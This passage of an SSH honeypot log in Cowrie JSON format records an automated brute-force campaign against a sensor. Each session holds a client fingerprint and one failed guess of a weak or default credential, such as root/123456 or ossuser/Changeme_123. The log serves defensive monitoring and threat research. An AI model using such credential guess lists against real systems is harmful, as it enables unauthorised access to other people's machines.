0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:29.424410Z","src_ip":"192.109.200.237","session":"ac78488699b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftp","message":"login attempt [ftp/ftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:29.743843Z","src_ip":"192.109.200.237","session":"ac78488699b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:30.828998Z","src_ip":"192.109.200.237","session":"ac78488699b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":32774,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c7fe977519b","protocol":"ssh","message":"New connection: 192.109.200.237:32774 (159.203.135.109:22) [session: 4c7fe977519b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:32.484914Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:32.488961Z","src_ip":"192.109.200.237","session":"4c7fe977519b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:32.571210Z","src_ip":"192.109.200.237","session":"4c7fe977519b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fahmi","password":"fahmi","message":"login attempt [fahmi/fahmi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:32.819347Z","src_ip":"192.109.200.237","session":"4c7fe977519b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:33.905255Z","src_ip":"192.109.200.237","session":"4c7fe977519b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":32784,"dst_ip":"159.203.135.109","dst_port":22,"session":"baa54c4d42f6","protocol":"ssh","message":"New connection: 192.109.200.237:32784 (159.203.135.109:22) [session: baa54c4d42f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:35.634595Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:35.639236Z","src_ip":"192.109.200.237","session":"baa54c4d42f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:35.721221Z","src_ip":"192.109.200.237","session":"baa54c4d42f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWERTY123","message":"login attempt [root/QWERTY123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:35.967751Z","src_ip":"192.109.200.237","session":"baa54c4d42f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:37.052785Z","src_ip":"192.109.200.237","session":"baa54c4d42f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":32796,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b779ba9dcba","protocol":"ssh","message":"New connection: 192.109.200.237:32796 (159.203.135.109:22) [session: 3b779ba9dcba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:38.733351Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:38.738316Z","src_ip":"192.109.200.237","session":"3b779ba9dcba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:38.820809Z","src_ip":"192.109.200.237","session":"3b779ba9dcba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456","message":"login attempt [root/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:39.234444Z","src_ip":"192.109.200.237","session":"3b779ba9dcba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:40.331538Z","src_ip":"192.109.200.237","session":"3b779ba9dcba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":56806,"dst_ip":"159.203.135.109","dst_port":22,"session":"17e11e428da2","protocol":"ssh","message":"New connection: 192.109.200.237:56806 (159.203.135.109:22) [session: 17e11e428da2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:41.984996Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:42.042244Z","src_ip":"192.109.200.237","session":"17e11e428da2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:42.071065Z","src_ip":"192.109.200.237","session":"17e11e428da2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"basit","password":"basit","message":"login attempt [basit/basit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:42.385740Z","src_ip":"192.109.200.237","session":"17e11e428da2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:43.475653Z","src_ip":"192.109.200.237","session":"17e11e428da2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":56822,"dst_ip":"159.203.135.109","dst_port":22,"session":"1e59a10df52c","protocol":"ssh","message":"New connection: 192.109.200.237:56822 (159.203.135.109:22) [session: 1e59a10df52c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:45.200444Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:45.205190Z","src_ip":"192.109.200.237","session":"1e59a10df52c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:45.286785Z","src_ip":"192.109.200.237","session":"1e59a10df52c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ossuser","password":"Changeme_123","message":"login attempt [ossuser/Changeme_123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:45.533207Z","src_ip":"192.109.200.237","session":"1e59a10df52c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:46.618894Z","src_ip":"192.109.200.237","session":"1e59a10df52c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":36792,"dst_ip":"10.17.0.5","dst_port":22,"session":"e95aba0ed6a0","protocol":"ssh","message":"New connection: 103.176.20.57:36792 (10.17.0.5:22) [session: e95aba0ed6a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:46.980329Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:46.985147Z","src_ip":"103.176.20.57","session":"e95aba0ed6a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:47.246523Z","src_ip":"103.176.20.57","session":"e95aba0ed6a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123412","message":"login attempt [root/123412] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:48.008087Z","src_ip":"103.176.20.57","session":"e95aba0ed6a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":56832,"dst_ip":"159.203.135.109","dst_port":22,"session":"affd73fde365","protocol":"ssh","message":"New connection: 192.109.200.237:56832 (159.203.135.109:22) [session: affd73fde365]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:48.367711Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:48.373184Z","src_ip":"192.109.200.237","session":"affd73fde365","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:48.456910Z","src_ip":"192.109.200.237","session":"affd73fde365","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chatgpt","password":"chatgpt","message":"login attempt [chatgpt/chatgpt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:48.707612Z","src_ip":"192.109.200.237","session":"affd73fde365","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:49.263473Z","src_ip":"103.176.20.57","session":"e95aba0ed6a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:49.793395Z","src_ip":"192.109.200.237","session":"affd73fde365","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45350,"dst_ip":"159.203.135.109","dst_port":22,"session":"008d97c1d816","protocol":"ssh","message":"New connection: 192.109.200.237:45350 (159.203.135.109:22) [session: 008d97c1d816]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:51.485597Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:51.496443Z","src_ip":"192.109.200.237","session":"008d97c1d816","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:51.579762Z","src_ip":"192.109.200.237","session":"008d97c1d816","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dani","password":"dani","message":"login attempt [dani/dani] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:52.051028Z","src_ip":"192.109.200.237","session":"008d97c1d816","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:53.137394Z","src_ip":"192.109.200.237","session":"008d97c1d816","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45384,"dst_ip":"159.203.135.109","dst_port":22,"session":"f7b88292f1ef","protocol":"ssh","message":"New connection: 192.109.200.237:45384 (159.203.135.109:22) [session: f7b88292f1ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:54.859647Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:54.864417Z","src_ip":"192.109.200.237","session":"f7b88292f1ef","protocol":"ssh"}
